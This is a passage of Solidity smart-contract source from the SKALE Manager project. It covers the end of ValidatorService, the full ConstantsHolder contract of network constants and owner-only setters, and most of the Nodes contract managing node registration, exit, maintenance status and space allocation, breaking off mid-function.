/** * @dev Allows a validator to set a new validator name. */ function setValidatorName(string calldata newName) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].name = newName; } /** * @dev Allows a validator to set a new validator description. */ function setValidatorDescription(string calldata newDescription) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].description = newDescription; } /** * @dev Allows a validator to start accepting new delegation requests. * * Requirements: * * - Must not have already enabled accepting new requests. */ function startAcceptingNewRequests() external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require(!isAcceptingNewRequests(validatorId), "Accepting request is already enabled"); validators[validatorId].acceptNewRequests = true; } /** * @dev Allows a validator to stop accepting new delegation requests. * * Requirements: * * - Must not have already stopped accepting new requests. */ function stopAcceptingNewRequests() external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require(isAcceptingNewRequests(validatorId), "Accepting request is already disabled"); validators[validatorId].acceptNewRequests = false; } function removeNodeAddress(uint validatorId, address nodeAddress) external allowTwo("ValidatorService", "Nodes") { require(_nodeAddressToValidatorId[nodeAddress] == validatorId, "Validator does not have permissions to unlink node"); delete _nodeAddressToValidatorId[nodeAddress]; for (uint i = 0; i < _nodeAddresses[validatorId].length; ++i) { if (_nodeAddresses[validatorId][i] == nodeAddress) { if (i + 1 < _nodeAddresses[validatorId].length) { _nodeAddresses[validatorId][i] = _nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)]; } delete _nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)]; _nodeAddresses[validatorId].pop(); break; } } } /** * @dev Returns the amount of validator bond (self-delegation). */ function getAndUpdateBondAmount(uint validatorId) external returns (uint) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); return delegationController.getAndUpdateDelegatedByHolderToValidatorNow( getValidator(validatorId).validatorAddress, validatorId ); } /** * @dev Returns node addresses linked to the msg.sender. */ function getMyNodesAddresses() external view returns (address[] memory) { return getNodeAddresses(getValidatorId(msg.sender)); } /** * @dev Returns the list of trusted validators. */ function getTrustedValidators() external view returns (uint[] memory) { return trustedValidatorsList; } /** * @dev Checks whether the validator ID is linked to the validator address. */ function checkValidatorAddressToId(address validatorAddress, uint validatorId) external view returns (bool) { return getValidatorId(validatorAddress) == validatorId ? true : false; } /** * @dev Returns the validator ID linked to a node address. * * Requirements: * * - Node address must be linked to a validator. */ function getValidatorIdByNodeAddress(address nodeAddress) external view returns (uint validatorId) { validatorId = _nodeAddressToValidatorId[nodeAddress]; require(validatorId != 0, "Node address is not assigned to a validator"); } function checkValidatorCanReceiveDelegation(uint validatorId, uint amount) external view { require(isAuthorizedValidator(validatorId), "Validator is not authorized to accept delegation request"); require(isAcceptingNewRequests(validatorId), "The validator is not currently accepting new requests"); require( validators[validatorId].minimumDelegationAmount <= amount, "Amount does not meet the validator's minimum delegation amount" ); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); useWhitelist = true; } /** * @dev Returns a validator's node addresses. */ function getNodeAddresses(uint validatorId) public view returns (address[] memory) { return _nodeAddresses[validatorId]; } /** * @dev Checks whether validator ID exists. */ function validatorExists(uint validatorId) public view returns (bool) { return validatorId <= numberOfValidators && validatorId != 0; } /** * @dev Checks whether validator address exists. */ function validatorAddressExists(address validatorAddress) public view returns (bool) { return _validatorAddressToId[validatorAddress] != 0; } /** * @dev Checks whether validator address exists. */ function checkIfValidatorAddressExists(address validatorAddress) public view { require(validatorAddressExists(validatorAddress), "Validator address does not exist"); } /** * @dev Returns the Validator struct. */ function getValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (Validator memory) { return validators[validatorId]; } /** * @dev Returns the validator ID for the given validator address. */ function getValidatorId(address validatorAddress) public view returns (uint) { checkIfValidatorAddressExists(validatorAddress); return _validatorAddressToId[validatorAddress]; } /** * @dev Checks whether the validator is currently accepting new delegation requests. */ function isAcceptingNewRequests(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) { return validators[validatorId].acceptNewRequests; } function isAuthorizedValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) { return _trustedValidators[validatorId] || !useWhitelist; } // private /** * @dev Links a validator address to a validator ID. * * Requirements: * * - Address is not already in use by another validator. */ function _setValidatorAddress(uint validatorId, address validatorAddress) private { if (_validatorAddressToId[validatorAddress] == validatorId) { return; } require(_validatorAddressToId[validatorAddress] == 0, "Address is in use by another validator"); address oldAddress = validators[validatorId].validatorAddress; delete _validatorAddressToId[oldAddress]; _nodeAddressToValidatorId[validatorAddress] = validatorId; validators[validatorId].validatorAddress = validatorAddress; _validatorAddressToId[validatorAddress] = validatorId; } /** * @dev Links a node address to a validator ID. * * Requirements: * * - Node address must not be already linked to a validator. */ function _addNodeAddress(uint validatorId, address nodeAddress) private { if (_nodeAddressToValidatorId[nodeAddress] == validatorId) { return; } require(_nodeAddressToValidatorId[nodeAddress] == 0, "Validator cannot override node address"); _nodeAddressToValidatorId[nodeAddress] = validatorId; _nodeAddresses[validatorId].push(nodeAddress); } function _find(uint[] memory array, uint index) private pure returns (uint) { uint i; for (i = 0; i < array.length; i++) { if (array[i] == index) { return i; } } return array.length; } } // SPDX-License-Identifier: AGPL-3.0-only /* ConstantsHolder.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; /** * @title ConstantsHolder * @dev Contract contains constants and common variables for the SKALE Network. */ contract ConstantsHolder is Permissions { // initial price for creating Node (100 SKL) uint public constant NODE_DEPOSIT = 100 * 1e18; uint8 public constant TOTAL_SPACE_ON_NODE = 128; // part of Node for Small Skale-chain (1/128 of Node) uint8 public constant SMALL_DIVISOR = 128; // part of Node for Medium Skale-chain (1/32 of Node) uint8 public constant MEDIUM_DIVISOR = 32; // part of Node for Large Skale-chain (full Node) uint8 public constant LARGE_DIVISOR = 1; // part of Node for Medium Test Skale-chain (1/4 of Node) uint8 public constant MEDIUM_TEST_DIVISOR = 4; // typically number of Nodes for Skale-chain (16 Nodes) uint public constant NUMBER_OF_NODES_FOR_SCHAIN = 16; // number of Nodes for Test Skale-chain (2 Nodes) uint public constant NUMBER_OF_NODES_FOR_TEST_SCHAIN = 2; // number of Nodes for Test Skale-chain (4 Nodes) uint public constant NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN = 4; // number of seconds in one year uint32 public constant SECONDS_TO_YEAR = 31622400; // initial number of monitors uint public constant NUMBER_OF_MONITORS = 24; uint public constant OPTIMAL_LOAD_PERCENTAGE = 80; uint public constant ADJUSTMENT_SPEED = 1000; uint public constant COOLDOWN_TIME = 60; uint public constant MIN_PRICE = 10**6; uint public constant MSR_REDUCING_COEFFICIENT = 2; uint public constant DOWNTIME_THRESHOLD_PART = 30; uint public constant BOUNTY_LOCKUP_MONTHS = 2; uint public constant ALRIGHT_DELTA = 54640; uint public constant BROADCAST_DELTA = 122660; uint public constant COMPLAINT_BAD_DATA_DELTA = 40720; uint public constant PRE_RESPONSE_DELTA = 67780; uint public constant COMPLAINT_DELTA = 67100; uint public constant RESPONSE_DELTA = 215000; // MSR - Minimum staking requirement uint public msr; // Reward period - 30 days (each 30 days Node would be granted for bounty) uint32 public rewardPeriod; // Allowable latency - 150000 ms by default uint32 public allowableLatency; /** * Delta period - 1 hour (1 hour before Reward period became Monitors need * to send Verdicts and 1 hour after Reward period became Node need to come * and get Bounty) */ uint32 public deltaPeriod; /** * Check time - 2 minutes (every 2 minutes monitors should check metrics * from checked nodes) */ uint public checkTime; //Need to add minimal allowed parameters for verdicts uint public launchTimestamp; uint public rotationDelay; uint public proofOfUseLockUpPeriodDays; uint public proofOfUseDelegationPercentage; uint public limitValidatorsPerDelegator; uint256 public firstDelegationsMonth; // deprecated // date when schains will be allowed for creation uint public schainCreationTimeStamp; uint public minimalSchainLifetime; uint public complaintTimelimit; /** * @dev Allows the Owner to set new reward and delta periods * This function is only for tests. */ function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external onlyOwner { require( newRewardPeriod >= newDeltaPeriod && newRewardPeriod - newDeltaPeriod >= checkTime, "Incorrect Periods" ); rewardPeriod = newRewardPeriod; deltaPeriod = newDeltaPeriod; } /** * @dev Allows the Owner to set the new check time. * This function is only for tests. */ function setCheckTime(uint newCheckTime) external onlyOwner { require(rewardPeriod - deltaPeriod >= checkTime, "Incorrect check time"); checkTime = newCheckTime; } /** * @dev Allows the Owner to set the allowable latency in milliseconds. * This function is only for testing purposes. */ function setLatency(uint32 newAllowableLatency) external onlyOwner { allowableLatency = newAllowableLatency; } /** * @dev Allows the Owner to set the minimum stake requirement. */ function setMSR(uint newMSR) external onlyOwner { msr = newMSR; } /** * @dev Allows the Owner to set the launch timestamp. */ function setLaunchTimestamp(uint timestamp) external onlyOwner { require(now < launchTimestamp, "Cannot set network launch timestamp because network is already launched"); launchTimestamp = timestamp; } /** * @dev Allows the Owner to set the node rotation delay. */ function setRotationDelay(uint newDelay) external onlyOwner { rotationDelay = newDelay; } /** * @dev Allows the Owner to set the proof-of-use lockup period. */ function setProofOfUseLockUpPeriod(uint periodDays) external onlyOwner { proofOfUseLockUpPeriodDays = periodDays; } /** * @dev Allows the Owner to set the proof-of-use delegation percentage * requirement. */ function setProofOfUseDelegationPercentage(uint percentage) external onlyOwner { require(percentage <= 100, "Percentage value is incorrect"); proofOfUseDelegationPercentage = percentage; } /** * @dev Allows the Owner to set the maximum number of validators that a * single delegator can delegate to. */ function setLimitValidatorsPerDelegator(uint newLimit) external onlyOwner { limitValidatorsPerDelegator = newLimit; } function setSchainCreationTimeStamp(uint timestamp) external onlyOwner { schainCreationTimeStamp = timestamp; } function setMinimalSchainLifetime(uint lifetime) external onlyOwner { minimalSchainLifetime = lifetime; } function setComplaintTimelimit(uint timelimit) external onlyOwner { complaintTimelimit = timelimit; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); msr = 0; rewardPeriod = 2592000; allowableLatency = 150000; deltaPeriod = 3600; checkTime = 300; launchTimestamp = uint(-1); rotationDelay = 12 hours; proofOfUseLockUpPeriodDays = 90; proofOfUseDelegationPercentage = 50; limitValidatorsPerDelegator = 20; firstDelegationsMonth = 0; complaintTimelimit = 1800; } } // SPDX-License-Identifier: AGPL-3.0-only /* Nodes.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/utils/SafeCast.sol"; import "./delegation/DelegationController.sol"; import "./delegation/ValidatorService.sol"; import "./utils/Random.sol"; import "./utils/SegmentTree.sol"; import "./BountyV2.sol"; import "./ConstantsHolder.sol"; import "./Permissions.sol"; /** * @title Nodes * @dev This contract contains all logic to manage SKALE Network nodes states, * space availability, stake requirement checks, and exit functions. * * Nodes may be in one of several states: * * - Active: Node is registered and is in network operation. * - Leaving: Node has begun exiting from the network. * - Left: Node has left the network. * - In_Maintenance: Node is temporarily offline or undergoing infrastructure * maintenance * * Note: Online nodes contain both Active and Leaving states. */ contract Nodes is Permissions { using Random for Random.RandomGenerator; using SafeCast for uint; using SegmentTree for SegmentTree.Tree; // All Nodes states enum NodeStatus {Active, Leaving, Left, In_Maintenance} struct Node { string name; bytes4 ip; bytes4 publicIP; uint16 port; bytes32[2] publicKey; uint startBlock; uint lastRewardDate; uint finishTime; NodeStatus status; uint validatorId; } // struct to note which Nodes and which number of Nodes owned by user struct CreatedNodes { mapping (uint => bool) isNodeExist; uint numberOfNodes; } struct SpaceManaging { uint8 freeSpace; uint indexInSpaceMap; } // TODO: move outside the contract struct NodeCreationParams { string name; bytes4 ip; bytes4 publicIp; uint16 port; bytes32[2] publicKey; uint16 nonce; string domainName; } // array which contain all Nodes Node[] public nodes; SpaceManaging[] public spaceOfNodes; // mapping for checking which Nodes and which number of Nodes owned by user mapping (address => CreatedNodes) public nodeIndexes; // mapping for checking is IP address busy mapping (bytes4 => bool) public nodesIPCheck; // mapping for checking is Name busy mapping (bytes32 => bool) public nodesNameCheck; // mapping for indication from Name to Index mapping (bytes32 => uint) public nodesNameToIndex; // mapping for indication from space to Nodes mapping (uint8 => uint[]) public spaceToNodes; mapping (uint => uint[]) public validatorToNodeIndexes; uint public numberOfActiveNodes; uint public numberOfLeavingNodes; uint public numberOfLeftNodes; mapping (uint => string) public domainNames; mapping (uint => bool) private _invisible; SegmentTree.Tree private _nodesAmountBySpace; /** * @dev Emitted when a node is created. */ event NodeCreated( uint nodeIndex, address owner, string name, bytes4 ip, bytes4 publicIP, uint16 port, uint16 nonce, string domainName, uint time, uint gasSpend ); /** * @dev Emitted when a node completes a network exit. */ event ExitCompleted( uint nodeIndex, uint time, uint gasSpend ); /** * @dev Emitted when a node begins to exit from the network. */ event ExitInitialized( uint nodeIndex, uint startLeavingPeriod, uint time, uint gasSpend ); modifier checkNodeExists(uint nodeIndex) { _checkNodeIndex(nodeIndex); _; } modifier onlyNodeOrAdmin(uint nodeIndex) { _checkNodeOrAdmin(nodeIndex, msg.sender); _; } function initializeSegmentTreeAndInvisibleNodes() external onlyOwner { for (uint i = 0; i < nodes.length; i++) { if (nodes[i].status != NodeStatus.Active && nodes[i].status != NodeStatus.Left) { _invisible[i] = true; _removeNodeFromSpaceToNodes(i, spaceOfNodes[i].freeSpace); } } uint8 totalSpace = ConstantsHolder(contractManager.getContract("ConstantsHolder")).TOTAL_SPACE_ON_NODE(); _nodesAmountBySpace.create(totalSpace); for (uint8 i = 1; i <= totalSpace; i++) { if (spaceToNodes[i].length > 0) _nodesAmountBySpace.addToPlace(i, spaceToNodes[i].length); } } /** * @dev Allows Schains and SchainsInternal contracts to occupy available * space on a node. * * Returns whether operation is successful. */ function removeSpaceFromNode(uint nodeIndex, uint8 space) external checkNodeExists(nodeIndex) allowTwo("NodeRotation", "SchainsInternal") returns (bool) { if (spaceOfNodes[nodeIndex].freeSpace < space) { return false; } if (space > 0) { _moveNodeToNewSpaceMap( nodeIndex, uint(spaceOfNodes[nodeIndex].freeSpace).sub(space).toUint8() ); } return true; } /** * @dev Allows Schains contract to occupy free space on a node. * * Returns whether operation is successful. */ function addSpaceToNode(uint nodeIndex, uint8 space) external checkNodeExists(nodeIndex) allowTwo("Schains", "NodeRotation") { if (space > 0) { _moveNodeToNewSpaceMap( nodeIndex, uint(spaceOfNodes[nodeIndex].freeSpace).add(space).toUint8() ); } } /** * @dev Allows SkaleManager to change a node's last reward date. */ function changeNodeLastRewardDate(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") { nodes[nodeIndex].lastRewardDate = block.timestamp; } /** * @dev Allows SkaleManager to change a node's finish time. */ function changeNodeFinishTime(uint nodeIndex, uint time) external checkNodeExists(nodeIndex) allow("SkaleManager") { nodes[nodeIndex].finishTime = time; } /** * @dev Allows SkaleManager contract to create new node and add it to the * Nodes contract. * * Emits a {NodeCreated} event. * * Requirements: * * - Node IP must be non-zero. * - Node IP must be available. * - Node name must not already be registered. * - Node port must be greater than zero. */ function createNode(address from, NodeCreationParams calldata params) external allow("SkaleManager") { // checks that Node has correct data require(params.ip != 0x0 && !nodesIPCheck[params.ip], "IP address is zero or is not available"); require(!nodesNameCheck[keccak256(abi.encodePacked(params.name))], "Name is already registered"); require(params.port > 0, "Port is zero"); require(from == _publicKeyToAddress(params.publicKey), "Public Key is incorrect"); uint validatorId = ValidatorService( contractManager.getContract("ValidatorService")).getValidatorIdByNodeAddress(from); uint8 totalSpace = ConstantsHolder(contractManager.getContract("ConstantsHolder")).TOTAL_SPACE_ON_NODE(); nodes.push(Node({ name: params.name, ip: params.ip, publicIP: params.publicIp, port: params.port, publicKey: params.publicKey, startBlock: block.number, lastRewardDate: block.timestamp, finishTime: 0, status: NodeStatus.Active, validatorId: validatorId })); uint nodeIndex = nodes.length.sub(1); validatorToNodeIndexes[validatorId].push(nodeIndex); bytes32 nodeId = keccak256(abi.encodePacked(params.name)); nodesIPCheck[params.ip] = true; nodesNameCheck[nodeId] = true; nodesNameToIndex[nodeId] = nodeIndex; nodeIndexes[from].isNodeExist[nodeIndex] = true; nodeIndexes[from].numberOfNodes++; domainNames[nodeIndex] = params.domainName; spaceOfNodes.push(SpaceManaging({ freeSpace: totalSpace, indexInSpaceMap: spaceToNodes[totalSpace].length })); _setNodeActive(nodeIndex); emit NodeCreated( nodeIndex, from, params.name, params.ip, params.publicIp, params.port, params.nonce, params.domainName, block.timestamp, gasleft()); } /** * @dev Allows SkaleManager contract to initiate a node exit procedure. * * Returns whether the operation is successful. * * Emits an {ExitInitialized} event. */ function initExit(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") returns (bool) { require(isNodeActive(nodeIndex), "Node should be Active"); _setNodeLeaving(nodeIndex); emit ExitInitialized( nodeIndex, block.timestamp, block.timestamp, gasleft()); return true; } /** * @dev Allows SkaleManager contract to complete a node exit procedure. * * Returns whether the operation is successful. * * Emits an {ExitCompleted} event. * * Requirements: * * - Node must have already initialized a node exit procedure. */ function completeExit(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") returns (bool) { require(isNodeLeaving(nodeIndex), "Node is not Leaving"); _setNodeLeft(nodeIndex); emit ExitCompleted( nodeIndex, block.timestamp, gasleft()); return true; } /** * @dev Allows SkaleManager contract to delete a validator's node. * * Requirements: * * - Validator ID must exist. */ function deleteNodeForValidator(uint validatorId, uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); uint[] memory validatorNodes = validatorToNodeIndexes[validatorId]; uint position = _findNode(validatorNodes, nodeIndex); if (position < validatorNodes.length) { validatorToNodeIndexes[validatorId][position] = validatorToNodeIndexes[validatorId][validatorNodes.length.sub(1)]; } validatorToNodeIndexes[validatorId].pop(); address nodeOwner = _publicKeyToAddress(nodes[nodeIndex].publicKey); if (validatorService.getValidatorIdByNodeAddress(nodeOwner) == validatorId) { if (nodeIndexes[nodeOwner].numberOfNodes == 1 && !validatorService.validatorAddressExists(nodeOwner)) { validatorService.removeNodeAddress(validatorId, nodeOwner); } nodeIndexes[nodeOwner].isNodeExist[nodeIndex] = false; nodeIndexes[nodeOwner].numberOfNodes--; } } /** * @dev Allows SkaleManager contract to check whether a validator has * sufficient stake to create another node. * * Requirements: * * - Validator must be included on trusted list if trusted list is enabled. * - Validator must have sufficient stake to operate an additional node. */ function checkPossibilityCreatingNode(address nodeAddress) external allow("SkaleManager") { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); uint validatorId = validatorService.getValidatorIdByNodeAddress(nodeAddress); require(validatorService.isAuthorizedValidator(validatorId), "Validator is not authorized to create a node"); require( _checkValidatorPositionToMaintainNode(validatorId, validatorToNodeIndexes[validatorId].length), "Validator must meet the Minimum Staking Requirement"); } /** * @dev Allows SkaleManager contract to check whether a validator has * sufficient stake to maintain a node. * * Returns whether validator can maintain node with current stake. * * Requirements: * * - Validator ID and nodeIndex must both exist. */ function checkPossibilityToMaintainNode( uint validatorId, uint nodeIndex ) external checkNodeExists(nodeIndex) allow("Bounty") returns (bool) { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); uint[] memory validatorNodes = validatorToNodeIndexes[validatorId]; uint position = _findNode(validatorNodes, nodeIndex); require(position < validatorNodes.length, "Node does not exist for this Validator"); return _checkValidatorPositionToMaintainNode(validatorId, position); } /** * @dev Allows Node to set In_Maintenance status. * * Requirements: * * - Node must already be Active. * - `msg.sender` must be owner of Node, validator, or SkaleManager. */ function setNodeInMaintenance(uint nodeIndex) external onlyNodeOrAdmin(nodeIndex) { require(nodes[nodeIndex].status == NodeStatus.Active, "Node is not Active"); _setNodeInMaintenance(nodeIndex); } /** * @dev Allows Node to remove In_Maintenance status. * * Requirements: * * - Node must already be In Maintenance. * - `msg.sender` must be owner of Node, validator, or SkaleManager. */ function removeNodeFromInMaintenance(uint nodeIndex) external onlyNodeOrAdmin(nodeIndex) { require(nodes[nodeIndex].status == NodeStatus.In_Maintenance, "Node is not In Maintenance"); _setNodeActive(nodeIndex); } function setDomainName(uint nodeIndex, string memory domainName) external onlyNodeOrAdmin(nodeIndex) { domainNames[nodeIndex] = domainName; } function makeNodeVisible(uint nodeIndex) external allow("SchainsInternal") { _makeNodeVisible(nodeIndex); } function makeNodeInvisible(uint nodeIndex) external allow("SchainsInternal") { _makeNodeInvisible(nodeIndex); } function getRandomNodeWithFreeSpace( uint8 freeSpace, Random.RandomGenerator memory randomGenerator ) external view returns (uint) { uint8 place = _nodesAmountBySpace.getRandomNonZeroElementFromPlaceToLast( freeSpace == 0 ? 1 : freeSpace, randomGenerator ).toUint8(); require(place > 0, "Node not found"); return spaceToNodes[place][randomGenerator.random(spaceToNodes[place].length)]; } /** * @dev Checks whether it is time for a node's reward. */ function isTimeForReward(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex) <= now; } /** * @dev Returns IP address of a given node. * * Requirements: * * - Node must exist. */ function getNodeIP(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bytes4) { require(nodeIndex < nodes.length, "Node does not exist"); return nodes[nodeIndex].ip; } /** * @dev Returns domain name of a given node. * * Requirements: * * - Node must exist. */ function getNodeDomainName(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (string memory) { return domainNames[nodeIndex]; } /** * @dev Returns the port of a given node. * * Requirements: * * - Node must exist. */ function getNodePort(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint16) { return nodes[nodeIndex].port; } /** * @dev Returns the public key of a given node. */ function getNodePublicKey(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bytes32[2] memory) { return nodes[nodeIndex].publicKey; } /** * @dev Returns an address of a given node. */ function getNodeAddress(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (address) { return _publicKeyToAddress(nodes[nodeIndex].publicKey); } /** * @dev Returns the finish exit time of a given node. */ function getNodeFinishTime(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].finishTime; } /** * @dev Checks whether a node has left the network. */ function isNodeLeft(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Left; } function isNodeInMaintenance(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.In_Maintenance; } /** * @dev Returns a given node's last reward date. */ function getNodeLastRewardDate(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].lastRewardDate; } /** * @dev Returns a given node's next reward date. */ function getNodeNextRewardDate(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex); } /** * @dev Returns the total number of registered nodes. */ function getNumberOfNodes() external view returns (uint) { return nodes.length; } /** * @dev Returns the total number of online nodes. * * Note: Online nodes are equal to the number of active plus leaving nodes. */ function getNumberOnlineNodes() external view returns (uint) { return numberOfActiveNodes.add(numberOfLeavingNodes); } /** * @dev Return active node IDs. */ function getActiveNodeIds() external view returns (uint[] memory activeNodeIds) { activeNodeIds = new uint[](numberOfActiveNodes); uint indexOfActiveNodeIds = 0; for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) { if (isNodeActive(indexOfNodes)) { activeNodeIds[indexOfActiveNodeIds] = indexOfNodes; indexOfActiveNodeIds++; } } } /** * @dev Return a given node's current status. */ function getNodeStatus(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (NodeStatus) { return nodes[nodeIndex].status; } /** * @dev Return a validator's linked nodes. * * Requirements: * * - Validator ID must exist. */ function getValidatorNodeIndexes(uint validatorId) external view returns (uint[] memory) { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); return validatorToNodeIndexes[validatorId]; } /** * @dev Returns number of nodes with available space. */ function countNodesWithFreeSpace(uint8 freeSpace) external view returns (uint count) { if (freeSpace == 0) { return _nodesAmountBySpace.sumFromPlaceToLast(1); } return _nodesAmountBySpace.sumFromPlaceToLast(freeSpace); } /** * @dev constructor in Permissions approach. */ function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); numberOfActiveNodes = 0; numberOfLeavingNodes = 0; numberOfLeftNodes = 0; _nodesAmountBySpace.create(128); } /** * @dev Returns the Validator ID for a given node. */ function getValidatorId(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].validatorId; } /** * @dev Checks whether a node exists for a given address. */ function isNodeExist(address from, uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodeIndexes[from].isNodeExist[nodeIndex]; } /** * @dev Checks whether a node's status is Active. */ function isNodeActive(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Active; } /** * @dev Checks whether a node's status is Leaving. */ function isNodeLeaving(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Leaving; } function _removeNodeFromSpaceToNodes(uint nodeIndex, uint8 space) internal { uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap; uint len = spaceToNodes[space].length.sub(1); if (indexInArray < len) { uint shiftedIndex = spaceToNodes[space][len]; spaceToNodes[space][indexInArray] = shiftedIndex; spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray; } spaceToNodes[space].pop(); delete spaceOfNodes[nodeIndex].indexInSpaceMap; } function _getNodesAmountBySpace() internal view returns (SegmentTree.Tree storage) { return _nodesAmountBySpace; } /** * @dev Returns the index of a given node within the validator's node index. */ function _findNode(uint[] memory validatorNodeIndexes, uint nodeIndex) private pure returns (uint) { uint i; for (i = 0; i < validatorNodeIndexes.length; i++) { if (validatorNodeIndexes[i] == nodeIndex) { return i; } } return validatorNodeIndexes.length; } /** * @dev Moves a node to a new space mapping. */ function _moveNodeToNewSpaceMap(uint nodeIndex, uint8 newSpace) private { if (!_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromTree(space); _addNodeToTree(newSpace); _removeNodeFromSpaceToNodes(nodeIndex, space); _addNodeToSpaceToNodes(nodeIndex, newSpace); } spaceOfNodes[nodeIndex].freeSpace = newSpace; } /** * @dev Changes a node's status to Active. */ function _setNodeActive(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.Active; numberOfActiveNodes = numberOfActiveNodes.add(1); if (_invisible[nodeIndex]) { _makeNodeVisible(nodeIndex); } else { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _addNodeToSpaceToNodes(nodeIndex, space); _addNodeToTree(space); } } /** * @dev Changes a node's status to In_Maintenance. */ function _setNodeInMaintenance(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.In_Maintenance; numberOfActiveNodes = numberOfActiveNodes.sub(1); _makeNodeInvisible(nodeIndex); } /** * @dev Changes a node's status to Left. */ function _setNodeLeft(uint nodeIndex) private { nodesIPCheck[nodes[nodeIndex].ip] = false; nodesNameCheck[keccak256(abi.encodePacked(nodes[nodeIndex].name))] = false; delete nodesNameToIndex[keccak256(abi.encodePacked(nodes[nodeIndex].name))]; if (nodes[nodeIndex].status == NodeStatus.Active) { numberOfActiveNodes--; } else { numberOfLeavingNodes--; } nodes[nodeIndex].status = NodeStatus.Left; numberOfLeftNodes++; delete spaceOfNodes[nodeIndex].freeSpace; } /** * @dev Changes a node's status to Leaving. */ function _setNodeLeaving(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.Leaving; numberOfActiveNodes--; numberOfLeavingNodes++; _makeNodeInvisible(nodeIndex); } function _makeNodeInvisible(uint nodeIndex) private { if (!_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromSpaceToNodes(nodeIndex, space); _removeNodeFromTree(space); _invisible[nodeIndex] = true; } } function _makeNodeVisible(uint nodeIndex) private { if (_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _addNodeToSpaceToNodes(nodeIndex, space); _addNodeToTree(space); delete _invisible[nodeIndex]; } } function _addNodeToSpaceToNodes(uint nodeIndex, uint8 space) private { spaceToNodes[space].push(nodeIndex); spaceOfNodes[nodeIndex].indexInSpaceMap = spaceToNodes[space].length.sub(1); } function _addNodeToTree(uint8 space) private { if (space > 0) { _nodesAmountBySpace.addToPlace(space, 1); } } function _removeNodeFromTree(uint8 space) private { if (space > 0) { _nodesAmountBySpace.removeFromPlace(space, 1); } } function _checkValidatorPositionToMaintainNode(uint validatorId, uint position) private returns (bool) { DelegationController delegationController = DelegationController( 